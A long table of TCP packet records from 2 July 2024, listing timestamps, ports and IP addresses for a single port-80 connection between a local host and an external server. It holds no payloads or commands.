Jul 2, 2024 12:21:03.003041983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003040075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003053904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003066063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003104925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003133059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003792048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003828049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003854036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003863096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003885031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003891945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003902912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003905058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003921986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003940105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003954887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003984928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004009962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004039049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004041910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004053116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004082918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004204988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004215002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004225969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004236937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004246950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004272938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004276037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004296064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004332066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.004959106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004977942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.004996061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.005016088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.008883953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.008941889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085165977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085184097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085196972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085253000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085298061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085428953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085441113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085467100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085483074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085526943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085537910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085567951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085647106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085658073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085669041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085680008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085684061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085692883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085702896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085731983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085757017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085767984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085777998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085788012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085797071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085803032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085813999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085822105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085824966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085835934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.085854053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.085870981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086000919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086035013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086091042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086102009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086121082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086137056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086183071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086211920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086277008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086287022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086308956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086312056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086340904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086352110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086380959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086406946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086422920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086435080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086437941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086455107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086471081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086580992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086591005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086601973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086611032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086612940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086623907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086631060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086636066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086658001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086673021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086739063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086771965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086803913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086815119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086833000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086853027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086905003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086915970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086926937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.086935997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086951017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.086966991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087124109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087157965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087177992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087188959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087208033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087224960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087265015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087275982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087286949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087295055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087296963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.087313890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.087342024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.091707945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.091756105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167519093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167552948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167565107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167567015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167583942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167601109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167607069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167618036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167629004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167634010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167640924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167656898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167691946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167946100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167987108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.167989969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.167999983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168018103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168032885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168051958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168179989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168198109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168217897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168224096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168230057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168246984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168267965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168414116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168425083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168443918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168458939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168504000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168515921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168525934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168535948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168538094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168550014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168555975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168574095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168586016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168602943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168632030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168642998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168663979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168679953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168730021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168740034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168756008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168757915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168766975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168786049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168811083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168965101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168976068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168986082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.168988943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.168997049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169007063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169008017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169018030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169024944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169028997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169045925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169051886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169056892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169078112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169095993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169235945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169245958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169259071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169265032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169265032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169286966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169303894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169457912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169476032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169491053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169523001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169538975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169548988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169567108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169584036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169792891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169821024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169846058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169857025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169874907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169889927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169915915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169926882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169936895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169949055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.169951916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169970036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169994116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.169997931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.170027971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172327995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172358990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172367096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172377110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172395945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172411919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172439098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172450066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172461033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172466993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172471046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172487974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172504902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172538042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172548056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172569990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172638893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172648907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172660112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172668934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172671080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172687054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.172694921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.172729969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174034119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174062967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174082994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174093008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174109936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174124956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174155951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174182892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174212933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174242973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174302101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174313068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174324036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174331903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174356937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174377918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174388885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174408913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174428940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174463034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174489975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174554110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174582958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174640894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174652100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174662113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174669027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174683094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174699068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174711943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174735069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174784899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174866915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174870968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174875975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174877882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174890041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174895048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174901009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.174913883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.174932003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175295115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175323963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175343990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175354004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175364971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175371885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175389051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175420046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175452948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175458908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175463915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175483942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175498009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175503016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175513983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175548077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175561905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175578117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175604105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175689936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175699949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175710917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.175715923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175730944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.175748110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.249979019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250005007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250016928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250025988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250027895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250039101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250046015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250050068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250062943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250072002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250081062 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250106096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250241041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250252008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250262022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250272989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250288010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250291109 CEST	49699	80	192.168.2.7	85.28.47.4
